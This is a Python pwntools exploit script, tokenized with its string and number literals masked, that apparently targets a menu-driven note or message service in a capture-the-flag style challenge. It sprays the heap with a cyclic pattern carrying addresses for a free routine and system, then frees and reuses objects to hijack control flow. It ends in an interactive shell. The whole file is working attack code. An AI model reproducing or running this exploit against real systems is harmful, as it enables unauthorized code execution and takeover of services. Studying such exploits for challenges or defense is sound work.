<s> from pwn import * <EOL> import time , hashlib <EOL> context ( os = '<STR_LIT>' , arch = '<STR_LIT>' ) <EOL> if '<STR_LIT>' in pwn . args : <EOL> HOST = pwn . args [ '<STR_LIT>' ] <EOL> PORT = int ( pwn . args . get ( '<STR_LIT>' , <NUM_LIT> ) ) <EOL> p = remote ( HOST , PORT ) <EOL> else : <EOL> p = process ( '<STR_LIT>' ) <EOL> obj_write = '<STR_LIT:1>' <EOL> obj_read = '<STR_LIT:2>' <EOL> obj_quit = '<STR_LIT:3>' <EOL> rec_del = '<STR_LIT:1>' <EOL> rec_mod = '<STR_LIT:2>' <EOL> rec_reply = '<STR_LIT:3>' <EOL> rec_back = '<STR_LIT:4>' <EOL> def write ( content = '<STR_LIT>' ) : <EOL> write . count += <NUM_LIT:1> <EOL> p . sendline ( obj_write ) <EOL> p . sendline ( '<STR_LIT>' % write . count ) <EOL> p . sendline ( '<STR_LIT>' % write . count ) <EOL> p . sendline ( content ) <EOL> return write . count <EOL> write . count = <NUM_LIT:0> <EOL> def reply ( obj_id , reply_id ) : <EOL> p . sendline ( obj_read ) <EOL> p . sendline ( str ( obj_id ) ) <EOL> p . sendline ( rec_reply ) <EOL> p . sendline ( '<STR_LIT>' ) <EOL> p . sendline ( rec_back ) <EOL> def modify ( obj_id ) : <EOL> p . sendline ( obj_read ) <EOL> p . sendline ( str ( obj_id ) ) <EOL> p . sendline ( rec_mod ) <EOL> p . sendline ( '<STR_LIT>' % obj_id ) <EOL> p . sendline ( '<STR_LIT>' % obj_id ) <EOL> p . sendline ( rec_back ) <EOL> def delete ( obj_id ) : <EOL> p . sendline ( obj_read ) <EOL> p . sendline ( str ( obj_id ) ) <EOL> p . sendline ( rec_del ) <EOL> p . sendline ( rec_back ) <EOL> cyclic = cyclic ( <NUM_LIT> ) <EOL> do_free = p32 ( <NUM_LIT> ) <EOL> system = p32 ( <NUM_LIT> ) <EOL> offsets = { <EOL> '<STR_LIT>' : do_free , <EOL> '<STR_LIT>' : do_free , <EOL> '<STR_LIT>' : system <EOL> } <EOL> for pat , addr in offsets . items ( ) : <EOL> off = cyclic_find ( pat ) <EOL> cyclic = cyclic [ : off ] + addr + cyclic [ off + <NUM_LIT:4> : ] <EOL> write ( ) <EOL> spray = write ( cyclic ) <EOL> write ( ) <EOL> map ( lambda x : reply ( spray , x ) , range ( <NUM_LIT:255> ) ) <EOL> delete ( spray ) <EOL> sploit = write ( ) <EOL> write ( ) <EOL> map ( lambda x : reply ( sploit , x ) , range ( <NUM_LIT:255> ) ) <EOL> modify ( sploit ) <EOL> delete ( sploit ) <EOL> data = p . recvrepeat ( ) <EOL> while data : <EOL> data = p . recvrepeat ( ) <EOL> time . sleep ( <NUM_LIT:1> ) <EOL> p . interactive ( ) </s>
